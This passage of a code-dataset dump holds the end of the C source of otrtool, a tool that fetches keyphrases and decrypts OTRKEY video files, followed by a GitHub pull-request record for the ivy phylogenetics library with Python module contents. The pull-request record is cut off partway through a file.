tcsetattr(fileno(ttyfile), TCSAFLUSH, &ios1);\n    if (fscanf(ttyfile, \"%50s\", opts.password) < 1) {\n      tcsetattr(0, TCSAFLUSH, &ios0);\n      ERROR(\"Password invalid\");\n    }\n    tcsetattr(fileno(ttyfile), TCSAFLUSH, &ios0);\n    while (fgetc(ttyfile) != '\\n');\n    fputc('\\n', stderr);\n  }\n  password = strdup(opts.password);\n  \n  char *bigkey = generateBigkey(date);\n  char *request = generateRequest(bigkey, date);\n  free(email);\n  free(password);\n  \n  fputs(\"Trying to contact server...\\n\", stderr);\n  struct MemoryStruct *response = contactServer(request);\n\n  if (response->size == 0 || response->memory == NULL) {\n    ERROR(\"Server sent an empty response, exiting\");\n  }\n  fputs(\"Server responded.\\n\", stderr);\n  \n  // skip initial whitespace\n  char *message = response->memory;\n  message += strspn(message, \" \\t\\n\");\n  \n  if (isBase64(message) == 0) {\n    if (memcmp(message,\"MessageToBePrintedInDecoder\",27) ==0) {\n      fputs(\"Server sent us this sweet message:\\n\", stderr);\n      quote(message + 27);\n    } else {\n      fputs(\"Server sent us this ugly crap:\\n\", stderr);\n      dumpHex(response->memory, response->size);\n    }\n    ERROR(\"Server response is unuseable, exiting\");\n  }\n  \n  int info_len;\n  char *info_crypted = base64Decode(message, &info_len);\n  \n  if (info_len % 8 != 0) {\n    fputs(\"Length of response must be a multiple of 8.\", stderr);\n    dumpHex(info_crypted, info_len);\n    ERROR(\"Server response is unuseable, exiting\");\n  }\n  \n  info = decryptResponse(info_crypted, info_len, bigkey);\n  \n  keyphrase = queryGetParam(info, \"HP\");\n  if (keyphrase == NULL)\n    ERROR(\"Response lacks keyphrase\");\n  \n  if (strlen(keyphrase) != 56)\n    ERROR(\"Keyphrase has wrong length\");\n  \n  fprintf(stderr, \"Keyphrase: %s\\n\", keyphrase);\n  keycache_put(queryGetParam(header, \"FH\"), keyphrase);\n  \n  free(date);\n  free(bigkey);\n  free(request);\n  free(response->memory);\n  free(response);\n  free(info_crypted);\n}\n\nvoid openFile() {\n  if (strcmp(\"-\", filename) == 0)\n    file = stdin;\n  else\n    file = fopen(filename, \"rb\");\n  \n  if (file == NULL)\n    PERROR(\"Error opening file\");\n  \n  char magic[11] = { 0 };\n  if (fread(magic, 10, 1, file) < 1 && !feof(file))\n    PERROR(\"Error reading file\");\n  if (feof(file))\n    ERROR(\"Error: unexpected end of file\");\n  if (strcmp(magic, \"OTRKEYFILE\") != 0)\n    ERROR(\"Wrong file format\");\n  \n  header = getHeader();\n}\n\ntypedef struct verifyFile_ctx {\n  MD5_CTX ctx;\n  char hash1[16];\n  int input;\n} vfy_t;\n\nvoid verifyFile_init(vfy_t *vfy, int input) {\n  char *hash_hex, *hash;\n  int i;\n  \n  memset(vfy, 0, sizeof(*vfy));\n  vfy->input = input;\n  \n  /* get MD5 sum from 'OH' or 'FH' header field */\n  hash_hex = queryGetParam(header, vfy->input?\"OH\":\"FH\");\n  if (hash_hex == NULL || strlen(hash_hex) != 48)\n    ERROR(\"Missing hash in file header / unexpected format\");\n  for (i=1; i<16; ++i) {\n    hash_hex[2*i] = hash_hex[3*i];\n    hash_hex[2*i+1] = hash_hex[3*i+1];\n  }\n  hash_hex[32] = 0;\n  if (opts.verbosity >= VERB_DEBUG)\n    fprintf(stderr, \"Checking %s against MD5 sum: %s\\n\",\n      vfy->input?\"input\":\"output\", hash_hex);\n  hash = hex2bin(hash_hex);\n  memcpy(vfy->hash1, hash, 16);\n  \n  /* calculate MD5 sum of file (without header) */\n  memset(&vfy->ctx, 0, sizeof(vfy->ctx));\n  MD5_Init(&vfy->ctx);\n  \n  free(hash_hex);\n  free(hash);\n}\n\nvoid verifyFile_data(vfy_t *vfy, char *buffer, size_t len) {\n  MD5_Update(&vfy->ctx, buffer, len);\n}\n\nvoid verifyFile_final(vfy_t *vfy) {\n  unsigned char md5[16];\n  \n  MD5_Final(md5, &vfy->ctx);\n  if (memcmp(vfy->hash1, md5, 16) != 0) {\n    if (vfy->input)\n      ERROR(\"Input file had errors. Output may or may not be usable.\");\n    else\n      ERROR(\"Output verification failed. Wrong key?\");\n  }\n}\n\nvoid verifyOnly() {\n  vfy_t vfy;\n  size_t n;\n  static char buffer[65536];\n  unsigned long long length;\n  unsigned long long position;\n\n  length = atoll(queryGetParam(header, \"SZ\")) - 522;\n  fputs(\"Verifying otrkey...\\n\", stderr);\n  verifyFile_init(&vfy, 1);\n  for (position = 0; position < length; position += n) {\n    showProgress(position, length);\n    n = fread(buffer, 1, MIN(length - position, sizeof(buffer)), file);\n    if (n == 0 || ferror(file)) break;\n    verifyFile_data(&vfy, buffer, n);\n  }\n  if (position < length) {\n    if (!feof(file)) PERROR(\"fread\");\n    if (!logfilemode) fputc('\\n', stderr);\n    fputs(\"file is too short\\n\", stderr);\n  }\n  else\n    showProgress(1, 0);\n\n  if (fread(buffer, 1, 1, file) > 0)\n    fputs(\"file contains trailing garbage\\n\", stderr);\n  else if (!feof(file))\n    PERROR(\"fread\");\n  verifyFile_final(&vfy);\n  fputs(\"file is OK\\n\", stderr);\n}\n\nvoid decryptFile() {\n  int fd;\n  char *headerFN;\n  struct stat st;\n  FILE *destfile;\n\n  if (opts.destfile == NULL) {\n    headerFN = queryGetParam(header, \"FN\");\n    if (opts.destdir != NULL) {\n      destfilename = malloc(strlen(opts.destdir) + strlen(headerFN) + 2);\n      strcpy(destfilename, opts.destdir);\n      strcat(destfilename, \"/\");\n      strcat(destfilename, headerFN);\n      free(headerFN);\n    }\n    else {\n      destfilename = headerFN;\n    }\n  }\n  else {\n    destfilename = strdup(opts.destfile);\n  }\n  \n  if (strcmp(destfilename, \"-\") == 0) {\n    if (isatty(1)) ERROR(\"error: cowardly refusing to output to a terminal\");\n    fd = 1;\n  }\n  else\n    fd = open(destfilename, O_WRONLY|O_CREAT|O_EXCL, CREAT_MODE);\n  if (fd < 0 && errno == EEXIST) {\n    if (stat(destfilename, &st) != 0 || S_ISREG(st.st_mode)) {\n      if (!interactive) ERROR(\"Destination file exists: %s\", destfilename);\n      fprintf(stderr, \"Destination file exists: %s\\nType y to overwrite: \",\n        destfilename);\n      if (fgetc(ttyfile) != 'y') exit(EXIT_FAILURE);\n      while (fgetc(ttyfile) != '\\n');\n      fd = open(destfilename, O_WRONLY|O_TRUNC, 0);\n    }\n    else\n      fd = open(destfilename, O_WRONLY, 0);\n  }\n  if (fd < 0)\n    PERROR(\"Error opening destination file: %s\", destfilename);\n  if ((destfile = fdopen(fd, \"wb\")) == NULL)\n    PERROR(\"fdopen\");\n  \n  fputs(\"Decrypting and verifying...\\n\", stderr); // -----------------------\n  \n  void *key = hex2bin(keyphrase);\n  MCRYPT blowfish = mcrypt_module_open(\"blowfish-compat\", NULL, \"ecb\", NULL);\n  mcrypt_generic_init(blowfish, key, 28, NULL);\n  \n  unsigned long long length = atoll(queryGetParam(header, \"SZ\")) - 522;\n  unsigned long long position = 0;\n  size_t readsize;\n  size_t writesize;\n  static char buffer[65536];\n  vfy_t vfy_in, vfy_out;\n  \n  verifyFile_init(&vfy_in, 1);\n  verifyFile_init(&vfy_out, 0);\n  \n  while (position < length) {\n    showProgress(position, length);\n\n    if (length - position >= sizeof(buffer)) {\n      readsize = fread(buffer, 1, sizeof(buffer), file);\n    } else {\n      readsize = fread(buffer, 1, length - position, file);\n    }\n    if (readsize <= 0) {\n      if (feof(file))\n        ERROR(\"Input file is too short\");\n      PERROR(\"Error reading input file\");\n    }\n    \n    verifyFile_data(&vfy_in, buffer, readsize);\n    /* If the payload length is not a multiple of eight,\n     * the last few bytes are stored unencrypted */\n    mdecrypt_generic(blowfish, buffer, readsize - readsize % 8);\n    verifyFile_data(&vfy_out, buffer, readsize);\n    \n    writesize = fwrite(buffer, 1, readsize, destfile);\n    if (writesize != readsize)\n      PERROR(\"Error writing to destination file\");\n    \n    position += writesize;\n  }\n  showProgress(1, 0);\n\n  verifyFile_final(&vfy_in);\n  verifyFile_final(&vfy_out);\n  fputs(\"OK checksums from header match\\n\", stderr);\n  \n  mcrypt_generic_deinit(blowfish);\n  mcrypt_module_close(blowfish);\n  \n  if (fclose(destfile) != 0)\n    PERROR(\"Error closing destination file.\");\n\n  if (opts.unlinkmode) {\n    if (strcmp(filename, \"-\") != 0 &&\n        stat(filename, &st) == 0 && S_ISREG(st.st_mode) &&\n        strcmp(destfilename, \"-\") != 0 &&\n        stat(destfilename, &st) == 0 && S_ISREG(st.st_mode)) {\n      if (unlink(filename) != 0)\n        PERROR(\"Cannot delete input file\");\n      else\n        fputs(\"info: input file has been deleted\\n\", stderr);\n    }\n    else {\n      fputs(\"Warning: Not deleting input file (input or \"\n          \"output is not a regular file)\\n\", stderr);\n    }\n  }\n  \n  free(key);\n  free(destfilename);\n}\n\nvoid processFile() {\n  int storeKeyphrase;\n  switch (opts.action) {\n    case ACTION_INFO:\n      // TODO: output something nicer than just the querystring\n      dumpQuerystring(header);\n      break;\n    case ACTION_FETCHKEY:\n      fetchKeyphrase();\n      break;\n    case ACTION_DECRYPT:\n      storeKeyphrase = 1;\n      if (opts.keyphrase == NULL) {\n        storeKeyphrase = 0;\n        keyphrase = keycache_get(queryGetParam(header, \"FH\"));\n        if (keyphrase)\n          fprintf(stderr, \"Keyphrase from cache: %s\\n\", keyphrase);\n        else\n          fetchKeyphrase();\n      }\n      else {\n        keyphrase = strdup(opts.keyphrase);\n      }\n      decryptFile();\n      if (storeKeyphrase)\n        keycache_put(queryGetParam(header, \"FH\"), keyphrase);\n      break;\n    case ACTION_VERIFY:\n      verifyOnly();\n      break;\n  }\n}\n\nvoid usageError() {\n  fputs(\"\\n\"\n    \"Usage: otrtool [-h] [-v] [-i|-f|-x|-y] [-u]\\n\"\n    \"               [-k <keyphrase>] [-e <email>] [-p <password>]\\n\"\n    \"               [-D <destfolder>] [-O <destfile>]\\n\"\n    \"               <otrkey-file1> [<otrkey-file2> ... [<otrkey-fileN>]]\\n\"\n    \"\\n\"\n    \"MODES OF OPERATION\\n\"\n    \"  -i | Display information about file (default action)\\n\"\n    \"  -f | Fetch keyphrase for file\\n\"\n    \"  -x | Decrypt file\\n\"\n    \"  -y | Verify only\\n\"\n    \"\\n\"\n    \"FREQUENTLY USED OPTIONS\\n\"\n    \"  -k | Do not fetch keyphrase, use this one\\n\"\n    \"  -D | Output folder\\n\"\n    \"  -O | Output file (overrides -D)\\n\"\n    \"  -u | Delete otrkey-files after successful decryption\\n\"\n    \"\\n\"\n    \"See otrtool(1) for further information\\n\", stderr);\n}\n\nint main(int argc, char *argv[]) {\n  fputs(\"OTR-Tool, \" VERSION \"\\n\", stderr);\n\n  int i;\n  int opt;\n  while ( (opt = getopt(argc, argv, \"hvgifxyk:e:p:D:O:u\")) != -1) {\n    switch (opt) {\n      case 'h':\n        usageError();\n        exit(EXIT_SUCCESS);\n        break;\n      case 'v':\n        opts.verbosity = VERB_DEBUG;\n        break;\n      case 'g':\n        opts.guimode = 1;\n        interactive = 0;\n        break;\n      case 'i':\n        opts.action = ACTION_INFO;\n        break;\n      case 'f':\n        opts.action = ACTION_FETCHKEY;\n        break;\n      case 'x':\n        opts.action = ACTION_DECRYPT;\n        break;\n      case 'y':\n        opts.action = ACTION_VERIFY;\n        break;\n      case 'k':\n        opts.keyphrase = optarg;\n        break;\n      case 'e':\n        opts.email = strdup(optarg);\n        memset(optarg, 'x', strlen(optarg));\n        break;\n      case 'p':\n        opts.password = strdup(optarg);\n        memset(optarg, 'x', strlen(optarg));\n        break;\n      case 'D':\n        opts.destdir = optarg;\n        break;\n      case 'O':\n        opts.destfile = optarg;\n        break;\n      case 'u':\n        opts.unlinkmode = 1;\n        break;\n      default:\n        usageError();\n        exit(EXIT_FAILURE);\n    }\n  }\n  if (opts.verbosity >= VERB_DEBUG) {\n    fputs(\"command line: \", stderr);\n    for (i = 0; i < argc; ++i) {\n      fputs(argv[i], stderr);\n      fputc((i == argc - 1) ? '\\n' : ' ', stderr);\n    }\n  }\n  \n  if (optind >= argc) {\n    fprintf(stderr, \"Missing argument: otrkey-file\\n\");\n    usageError();\n    exit(EXIT_FAILURE);\n  }\n  if (argc > optind + 1) {\n    if (opts.destfile != NULL && strcmp(opts.destfile, \"-\") == 0) {\n      i = 0;\n    }\n    else for (i = optind; i < argc; i++) {\n      if (strcmp(argv[i], \"-\") == 0)\n        break;\n    }\n    if (i < argc)\n      ERROR(\"Usage error: piping is not possible with multiple input files\");\n  }\n\n  if (!isatty(2) && opts.guimode == 0) {\n    logfilemode = 1;\n    interactive = 0;\n  }\n  if (interactive) {\n    if (!isatty(0)) {\n      ttyfile = fopen(\"/dev/tty\", \"r\");\n      if (ttyfile == NULL) {\n        if (opts.verbosity >= VERB_DEBUG) perror(\"open /dev/tty\");\n        interactive = 0;\n      }\n    }\n    else ttyfile = stdin;\n  }\n\n  if (opts.action == ACTION_DECRYPT || opts.action == ACTION_VERIFY) {\n    errno = 0;\n    nice(10);\n    if (errno == 0 && opts.verbosity >= VERB_DEBUG)\n      fputs(\"NICE was set to 10\\n\", stderr);\n\n    // I am not sure if this really catches all errors\n    // If this causes problems, just delete the ionice-stuff\n    #ifdef __NR_ioprio_set\n      if (syscall(__NR_ioprio_set, 1, getpid(), 7 | 3 << 13) == 0\n           && opts.verbosity >= VERB_DEBUG)\n        fputs(\"IONICE class was set to Idle\\n\", stderr);\n    #endif\n  }\n  if (opts.action == ACTION_FETCHKEY || opts.action == ACTION_DECRYPT) {\n    keycache_open();\n  }\n\n  for (i = optind; i < argc; i++) {\n    filename = argv[i];\n    if (argc > optind + 1)\n      fprintf(stderr, \"\\n==> %s <==\\n\", filename);\n    openFile();\n    processFile();\n    if (fclose(file) != 0)\n      PERROR(\"Error closing file\");\n    free(header);\n  }\n  \n  exit(EXIT_SUCCESS);\n}\n"}}
{"repo": "rhr/ivy", "pr_number": 10, "title": "Cz staging", "state": "closed", "merged_at": "2017-08-15T17:39:52Z", "additions": 291, "deletions": 272, "files_changed": ["ivy/__init__.py", "ivy/ages.py", "ivy/align.py", "ivy/ascii.py", "ivy/autocollapse.py", "ivy/bipart.py", "ivy/chars/__init__.py", "ivy/chars/catpars.py", "ivy/chars/evolve.py", "ivy/chars/mk.py", "ivy/contrasts.py", "ivy/genbank.py", "ivy/interactive.py", "ivy/layout.py", "ivy/ltt.py", "ivy/newick.py", "ivy/nexus.py", "ivy/sequtil.py", "ivy/storage.py", "ivy/tree.py", "ivy/treebase.py", "ivy/vis/alignment.py", "ivy/vis/hardcopy.py", "ivy/vis/symbols.py", "ivy/vis/tree.py"], "files_before": {"ivy/__init__.py": "\"\"\"\nivy - a phylogenetics library and visual shell\nhttp://www.reelab.net/ivy\n\nCopyright 2010 Richard Ree <rree@fieldmuseum.org>\n\nRequired: ipython, matplotlib, scipy, numpy\nUseful: dendropy, biopython, etc.\n\"\"\"\n## This program is free software; you can redistribute it and/or\n## modify it under the terms of the GNU General Public License as\n## published by the Free Software Foundation; either version 3 of the\n## License, or (at your option) any later version.\n\n## This program is distributed in the hope that it will be useful, but\n## WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n## General Public License for more details.\n\n## You should have received a copy of the GNU General Public License\n## along with this program. If not, see\n## <http://www.gnu.org/licenses/>.\n\nimport tree, layout, contrasts, ages\nimport bipart, genbank, nexus, newick, storage\n#import nodearray, data\nimport treebase\n#import db\n#import contrib\ntry:\n    import ltt as _ltt\n    ltt = _ltt.ltt\nexcept ImportError:\n    pass\n\nimport chars, align, sequtil\n## try: import vis\n## except RuntimeError: pass\n", "ivy/ages.py": "\"\"\"\nCalculate node ages from branch lengths.\n\nThe function of interest is `ages2lengths`\n\"\"\"\n\ndef ages2lengths(node, node_ages, results={}):\n    \"\"\"\n    Convert node ages to branch lengths\n\n    Args:\n        node (Node): Node object\n        node_ages (dict): Dict mapping nodes to ages\n    Returns:\n        dict: mapping of nodes to lengths\n\n    \"\"\"\n    for d in node.descendants():\n        age = node_ages[d]\n        if d.parent:\n            parent_age = node_ages[d.parent]\n            results[d] = parent_age - age\n    return results\n\ndef min_ages(node, leaf_ages, results={}):\n    \"\"\"\n    Calculate minimum ages given fixed ages in leaf_ages\n\n    Args:\n        node (Node): A node object\n        leaf_ages (dict): A dict mapping leaf nodes to ages\n    Returns:\n        dict: mapping of nodes to ages\n    \"\"\"\n    v = []\n    for child in node.children:\n        if child.label and (child.label in leaf_ages):\n            age = leaf_ages[child.label]\n            v.append(age)\n            results[child] = age\n        else:\n            min_ages(child, leaf_ages, results)\n            age = results[child]\n            v.append(age)\n    results[node] = max(v)\n    return results\n\ndef smooth(node, node_ages, results={}):\n    \"\"\"\n    adjust ages of internal nodes by smoothing\n    RR: I don't actually know what this function does -CZ\n    \"\"\"\n    if node.parent:\n        parent_age = node_ages[node.parent]\n        if node.children:\n            max_child_age = max([ node_ages[child] for child in node.children ])\n            # make the new age the average of parent and max child\n            new_node_age = (parent_age + max_child_age)/2.0\n            results[node] = new_node_age\n        else:\n            results[node] = node_ages[node]\n    else:\n        results[node] = node_ages[node]\n    for child in node.children:\n        smooth(child, node_ages, results)\n    return results\n\nif __name__ == \"__main__\":\n    import newick, ascii\n\n    s = \"((((a,b),(c,d),(e,f)),g),h);\"\n    root = newick.parse(s)\n\n    leaf_ages = {\n        \"a\": 3,\n        \"b\": 2,\n        \"c\": 4,\n        \"d\": 1,\n        \"e\": 3,\n        \"f\": 0.5,\n        \"g\": 10,\n        \"h\": 5,\n        }\n\n    ma = min_ages(root, leaf_ages)\n    d = ma\n    for i in range(10):\n        d = smooth(root, d)\n    for node, val in ages2lengths(root, d).items():\n        node.length = val\n    print ascii.render(root, scaled=1)\n", "ivy/align.py": "import os\nfrom subprocess import Popen, PIPE\nfrom Bio import AlignIO\nfrom Bio.Alphabet import IUPAC\nfrom cStringIO import StringIO\nfrom tempfile import NamedTemporaryFile\n\nMUSCLE = \"/usr/bin/muscle\"\n\ndef muscle(seqs, cmd=None):\n    if not cmd: cmd = MUSCLE\n    assert os.path.exists(cmd)\n    p = Popen([cmd], stdin=PIPE, stdout=PIPE)\n    write = p.stdin.write\n    for x in seqs:\n        write(\">%s\\n%s\\n\" % (x.id, x.seq))\n    out = p.communicate()[0]\n    aln = AlignIO.read(StringIO(out), 'fasta', alphabet=IUPAC.ambiguous_dna)\n    return aln\n\ndef musclep(seqs1, seqs2, cmd=\"/usr/bin/muscle\"):\n    assert os.path.exists(cmd)\n    f1 = NamedTemporaryFile(); f2 = NamedTemporaryFile()\n    for s, f in ((seqs1, f1), (seqs2, f2)):\n        write = f.file.write\n        for x in s: write(\">%s\\n%s\\n\" % (x.id, x.seq))\n    f1.file.flush(); f2.file.flush()\n    cmd += \" -profile -in1 %s -in2 %s\" % (f1.name, f2.name)\n    p = Popen(cmd.split(), stdout=PIPE)\n    out = p.communicate()[0]\n    aln = AlignIO.read(StringIO(out), 'fasta', alphabet=IUPAC.ambiguous_dna)\n    f1.file.close(); f2.file.close()\n    return aln\n    \ndef read(data, format=None, name=None):\n    from types import StringTypes\n    \n    def strip(s):\n        fname = os.path.split(s)[-1]\n        head, tail = os.path.splitext(fname)\n        tail = tail.lower()\n        if tail in (\".fasta\", \".nex\", \".nexus\"):\n            return head\n        else:\n            return fname\n\n    if (not format):\n        if (type(data) in StringTypes) and os.path.isfile(data):\n            s = data.lower()\n            if s.endswith(\"fasta\"):\n                format=\"fasta\"\n            for tail in \".nex\", \".nexus\":\n                if s.endswith(tail):\n                    format=\"nexus\"\n                    break\n\n    if (not format):\n        format = \"fasta\"\n\n    if type(data) in StringTypes:\n        if os.path.isfile(data):\n            name = strip(data)\n            with open(data) as f:\n                return AlignIO.read(f, format, alphabet=IUPAC.ambiguous_dna)\n        else:\n            f = StringIO(data)\n            return AlignIO.read(f, format, alphabet=IUPAC.ambiguous_dna)\n\n    elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n        treename = strip(getattr(data, \"name\", None))\n        return AlignIO.read(data, format, alphabet=IUPAC.ambiguous_dna)\n\n    raise IOError, \"unable to read alignment from '%s'\" % data\n\ndef write(data, f, format='fasta'):\n    AlignIO.write(data, f, format)\n    \ndef find(aln, substr):\n    \"\"\"\n    generator that yields (seqnum, pos) tuples for every position of\n    ``subseq`` in `aln`\n    \"\"\"\n    from sequtil import finditer\n    N = len(substr)\n    for i, rec in enumerate(aln):\n        for j in finditer(rec.seq, substr):\n            yield (i,j)\n            \ndef find_id(aln, regexp):\n    import re\n    return [ (i,s) for i, s in enumerate(aln) if re.search(regexp, s.id) ]\n    \ndef gapcols(aln, c='-'):\n    from numpy import array\n    a = array([ list(x.seq) for x in aln ])\n    for i, col in enumerate(a.T):\n        s = set(col==c)\n        if len(s)==1 and True in s:\n            yield i\n", "ivy/ascii.py": "from array import array\nfrom layout import depth_length_preorder_traversal\n\nclass AsciiBuffer:\n    def __init__(self, width, height):\n        self.width = width\n        self.height = height\n        self._b = [ array('c', ' '*width) for line in range(height) ]\n\n    def putstr(self, r, c, s):\n        assert r < self.height\n        assert c+len(s) <= self.width, \"%s %s %s '%s'\" % (self.width, r, c, s)\n        self._b[r][c:c+len(s)] = array('c', s)\n\n    def __str__(self):\n        return \"\\n\".join([ b.tostring() for b in self._b ])\n\ndef sum_to_root(node, internodes=True, length=False):\n    \"\"\"\n    Number of branches from node to root.\n\n    Args:\n        node (Node): A Node object\n        RR: Do internodes and length do anything in this function? -CZ\n    Returns:\n        int: The number of branches from node to root.\n    \"\"\"\n    i = 0\n    n = node\n    while 1:\n        if not n.parent:\n            break\n        else:\n            n = n.parent\n            i += 1\n    return i\n\n## def depth_length_preorder_traversal(node):\n##     if not node.parent:\n##         node.depth = 0\n##         node.length_to_root = 0.0\n##     else:\n##         p = node.parent\n##         node.depth = p.depth + 1\n##         node.length_to_root = p.length_to_root + (node.length or 0.0)\n##     for ch in node.children:\n##         depth_length_preorder_traversal(ch)\n\ndef smooth_cpos(node, n2c):\n    for ch in node.children:\n        smooth_cpos(ch, n2c)\n\n    if node.parent and not node.isleaf:\n        px = n2c[node.parent].c\n        cx = min([ n2c[ch].c for ch in node.children ])\n        dxp = n2c[node].c - px\n        cxp = cx - n2c[node].c\n        node.c = int(px + (cx - px)*0.5)\n\ndef scale_cpos(node, n2c, scalef, root_offset):\n    if node.parent:\n        n2c[node].c = n2c[node.parent].c + int(node.length * scalef)\n    else:\n        n2c[node].c = root_offset\n\n    for ch in node.children:\n        scale_cpos(ch, n2c, scalef, root_offset)\n\ndef set_rpos(node, n2c):\n    for child in node.children:\n        set_rpos(child, n2c)\n        nc = n2c[node]\n        if node.children:\n            children = node.children\n            c0 = n2c[children[0]]\n            c1 = n2c[children[-1]]\n            rmin = c0.r; rmax = c1.r\n            nc.r = int(rmin + (rmax-rmin)/2.0)\n\ndef render(root, unitlen=3, minwidth=50, maxwidth=None, scaled=False,\n           show_internal_labels=True):\n    \"\"\"\n    Create the ascii tree to be shown with print()\n    \"\"\"\n    n2c = depth_length_preorder_traversal(root)\n    leaves = root.leaves(); nleaves = len(leaves)\n    maxdepth = max([ n2c[lf].depth for lf in leaves ])\n    max_labelwidth = max([ len(lf.label) for lf in leaves ]) + 1\n\n    root_offset = 0\n    if root.label and show_internal_labels:\n        root_offset = len(root.label)\n\n    width = maxdepth*unitlen + max_labelwidth + 2 + root_offset\n    height = 2*nleaves - 1\n\n    if width < minwidth:\n        unitlen = (minwidth - max_labelwidth - 2 - root_offset)/maxdepth\n        width = maxdepth*unitlen + max_labelwidth + 2 + root_offset\n\n    buf = AsciiBuffer(width, height)\n\n    for i, lf in enumerate(leaves):\n        c = n2c[lf]\n        c.c = width - max_labelwidth - 2\n        c.r = i*2\n\n    for node in root.postiter():\n        nc = n2c[node]\n        if node.children:\n            children = node.children\n            c0 = n2c[children[0]]\n            c1 = n2c[children[-1]]\n            rmin = c0.r; rmax = c1.r\n            nc.r = int(rmin + (rmax-rmin)/2.0)\n            nc.c = min([ n2c[ch].c for ch in children ]) - unitlen\n\n    if not scaled:\n        smooth_cpos(root, n2c)\n    else:\n        maxlen = max([ n2c[lf].length_to_root for lf in leaves ])\n        scalef = (n2c[leaves[0]].c + 1 - root_offset)/maxlen\n        scale_cpos(root, n2c, scalef, root_offset)\n\n    for node in root.postiter():\n        nc = n2c[node]\n        if node.parent:\n            pc = n2c[node.parent]\n            for r in range(min([nc.r, pc.r]),\n                           max([nc.r, pc.r])):\n                buf.putstr(r, pc.c, \":\")\n\n            sym = getattr(nc, \"hchar\", \"-\")\n            vbar = sym*(nc.c-pc.c)\n            buf.putstr(nc.r, pc.c, vbar)\n\n        if node.isleaf:\n            buf.putstr(nc.r, nc.c+1, \" \"+node.label)\n        else:\n            if node.label and show_internal_labels:\n                buf.putstr(nc.r, nc.c-len(node.label), node.label)\n\n        buf.putstr(nc.r, nc.c, \"+\")\n\n    return str(buf)\n\nif __name__ == \"__main__\":\n    import random, tree\n    rand = random.Random()\n\n    t = tree.read(\n        \"(foo,((bar,(dog,cat)dc)dcb,(shoe,(fly,(cow, bowwow)cowb)cbf)X)Y)Z;\"\n        )\n\n    #t = tree.read(\"(((foo:4.6):5.6, (bar:6.5, baz:2.3):3.0):3.0);\")\n    #t = tree.read(\"(foo:4.6, (bar:6.5, baz:2.3)X:3.0)Y:3.0;\")\n\n    i = 1\n    print render(t, scaled=0, show_internal_labels=1)\n    r = t.get(\"cat\").parent\n    tree.reroot(t, r)\n    tp = t.parent\n    tp.remove_child(t)\n    c = t.children[0]\n    t.remove_child(c)\n    tp.add_child(c)\n    print render(r, scaled=0, show_internal_labels=1)\n", "ivy/autocollapse.py": "\"\"\"\nFor drawing big trees.  Calculate which clades can be 'collapsed' and\ndisplayed with a placeholder.\n\nTODO: test and develop this module further\n\"\"\"\nfrom storage import Storage\n\ndef autocollapse_info(node, collapsed, visible=True, info={}):\n    \"\"\"\n    gather information to determine if a node should be collapsed\n\n    *collapsed* is a set containing nodes that are already collapsed\n    \"\"\"\n    if node not in info:\n        s = Storage()\n        info[node] = s\n    else:\n        s = info[node]\n        \n    if visible and (node in collapsed):\n        visible = False\n        \n    nnodes = 1 # total number of nodes, including node\n    # number of visible leaves\n    nvisible = int((visible and node.isleaf) or (node in collapsed))\n    ntips = int(node.isleaf)\n    ntips_visible = int(node.isleaf and visible)\n    s.has_labeled_descendant = False\n    s.depth = 1\n\n    for child in node.children:\n        autocollapse_info(child, collapsed, visible, info)\n        cs = info[child]\n        nnodes += cs.nnodes\n        nvisible += cs.nvisible\n        ntips += cs.ntips\n        ntips_visible += cs.ntips_visible\n        if (child.label and (not child.isleaf)) \\\n           or (cs.has_labeled_descendant):\n            s.has_labeled_descendant = True\n        if cs.depth >= s.depth:\n            s.depth = cs.depth+1\n    s.nnodes = nnodes\n    s.nvisible = nvisible\n    s.ntips = ntips\n    s.ntips_visible = ntips_visible\n    return info\n\ndef autocollapse(root, collapsed=None, keep_visible=None, max_visible=1000):\n    \"\"\"\n    traverse a tree and find nodes that should be collapsed in order\n    to satify *max_visible*\n\n    *collapsed* is a set object for storing collapsed nodes\n\n    *keep_visible* is a set object of nodes that should not be placed\n    in *collapsed*\n    \"\"\"\n    collapsed = collapsed or set()\n    keep_visible = keep_visible or set()\n    ntries = 0\n    while True:\n        if ntries > 10:\n            return\n        info = autocollapse_info(root, collapsed)\n        nvisible = info[root].nvisible\n        if nvisible <= max_visible:\n            return\n        \n        v = []\n        for node in root.iternodes():\n            s = info[node]\n            if (node.label and (not node.isleaf) and node.parent and\n                (node not in keep_visible)):\n                w = s.nvisible/float(s.depth)\n                if s.has_labeled_descendant:\n                    w *= 0.25\n                v.append((w, node, s))\n        v.sort(); v.reverse()\n        for w, node, s in v:\n            if node not in keep_visible and s.nvisible < (nvisible-1):\n                print node\n                collapsed.add(node)\n                nvisible -= s.nvisible\n            if nvisible <= max_visible:\n                break\n        ntries += 1\n    return collapsed\n", "ivy/bipart.py": "import sys\nfrom pprint import pprint\nfrom glob import glob\nfrom storage import Storage\nfrom collections import defaultdict\n\n## class BipartSet(object):\n##     \"A set of bipartitions\"\n##     def __init__(self, elements):\n##         self.elements = frozenset(elements)\n##         self.ref = sorted(elements)[0]\n##         self.node2bipart = Storage()\n\n##     def add(self, subset, node):\n##         # filter out elements of subset not in 'elements'\n##         subset = (frozenset(subset) & self.elements)\n##         if self.ref not in self.subset:\n##             self.subset = self.elements - self.subset\n\nclass Bipart(object):\n    \"\"\"\n    A class representing a bipartition.\n    \"\"\"\n    def __init__(self, elements, subset, node=None, support=None):\n        \"\"\"\n        'elements' and 'subset' are set objects\n        \"\"\"\n        self.subset = subset\n        self.compute(elements)\n        self.node = node\n        self.support = support\n\n    def __hash__(self):\n        return self._hash\n\n    def __eq__(self, other):\n        assert self.elements == other.elements\n        return ((self.subset == other.subset) or\n                (self.subset == (self.elements - other.subset)))\n\n    def __repr__(self):\n        v = sorted(self.subset)\n        return \"(%s)\" % \" \".join(map(str, v))\n\n    def compute(self, elements):\n        self.elements = frozenset(elements)\n        self.ref = sorted(elements)[0]\n        # filter out elements of subset not in 'elements'\n        self.subset = (frozenset(self.subset) & self.elements)\n        self._hash = hash(self.subset)\n        if self.ref not in self.subset:\n            self.subset = self.elements - self.subset\n        self.complement = self.elements - self.subset\n\n    def iscompatible(self, other):\n        ## assert self.elements == other.elements\n        if (self.subset.issubset(other.subset) or\n            other.subset.issubset(self.subset)):\n            return True\n        if (((self.subset | other.subset) == self.elements) or\n            (not (self.subset & other.subset))):\n            return True\n        return False\n\ndef conflict(bp1, bp2, support=None):\n    if ((support and (bp1.support >= support) and (bp2.support >= support))\n        or (not support)):\n        if not bp1.iscompatible(bp2):\n            return True\n    return False\n\nclass TreeSet:\n  